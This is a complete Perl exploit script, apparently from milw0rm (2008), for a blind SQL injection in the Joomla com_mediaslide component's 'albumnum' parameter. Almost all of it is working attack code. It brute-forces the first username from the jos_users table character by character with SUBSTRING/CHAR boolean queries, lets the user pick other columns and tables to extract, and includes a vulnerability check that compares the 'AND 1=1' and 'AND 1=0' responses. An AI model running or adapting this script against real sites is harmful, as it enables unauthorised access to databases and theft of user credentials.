Joomla! Component mediaslide - 'albumnum' Blind SQL Injection

#!/usr/bin/perl
#inphex
#joomla com_mediaslide blind sql injection
use LWP::UserAgent;
use LWP::Simple;
use Switch;
use Digest::MD5 qw(md5 md5_hex md5_base64);
print "usage: $0 -h host.com -p /\n";
### use Getopt::Long; ###
$column = "username";
$table = "jos_users";
$regex = "preview_f2";
%cm_n_ = ("-h" => "host","-p" => "path","-c" => "column","-t" => "table","-r" => "regex");
$a = 0;
foreach  (@ARGV) {
	$a++;
	while (($k, $v) = each(%cm_n_)) {
		if ($_ eq $k) {
			${$v} = $ARGV[$a];
		}
	}
}

$i = 48;
$h = 1;
$f = 0;
$k = 0;
### Yeah,that's it... ###
while () {
    while ($i <= 90) {

	    if(check($i,$h,1) == 1)
	    {
	    	syswrite STDOUT,lc(chr($i));
	    	$h++;
			$a_chr = $a_chr.chr($i);
	    }

		$i++;

	}
	push(@ffs,length($a_chr));
	if (($#ffs -1) == $ffs) {
		&check_vuln();
		exit;
	}
	$i = 48;

}
#/

### :D ###
sub check($$$)
{
	$i = shift;
	$h = shift;
	$m = shift;

	switch ($m)
	{
		case 1 { $query = "%20AND%20SUBSTRING((SELECT%20".$column."%20FROM%20".$table."%20LIMIT%200,1),".$h.",1)=CHAR(".$i.")"; }
	}

	$ua = LWP::UserAgent->new;
	$url = "http://".$host.$path."index.php?option=com_mediaslide&act=contact&id=1&albumnum=1".$query."";
	$response = $ua->get($url);
	$content = $response->content;
	if($content =~ /$regex/) { return 0;} else { return 1 ;}
}
#/

sub check_vuln
{


	$content = get("http://".$host.$path."index.php?option=com_mediaslide&act=contact&id=1&albumnum=1%20AND%201=1");
	$content1 = get("http://".$host.$path."index.php?option=com_mediaslide&act=contact&id=1&albumnum=1%20AND%201=0");

	foreach $bb1 (split(/\n/,$content)) {
		$bb = $bb.$bb1;
	}

	foreach  $yy1 (split(/\n/,$content1)) {
		$yy = $yy.$yy1;
	}

	$f =  md5_hex($bb);
	$s = md5_hex($yy);

	if ($f eq $s) {
		print "\nprobably not vulnerable";    #could be that ads,texts etc.. change
		exit;
	} else { print "\nvulnerable..."; }
}

# milw0rm.com [2008-02-14]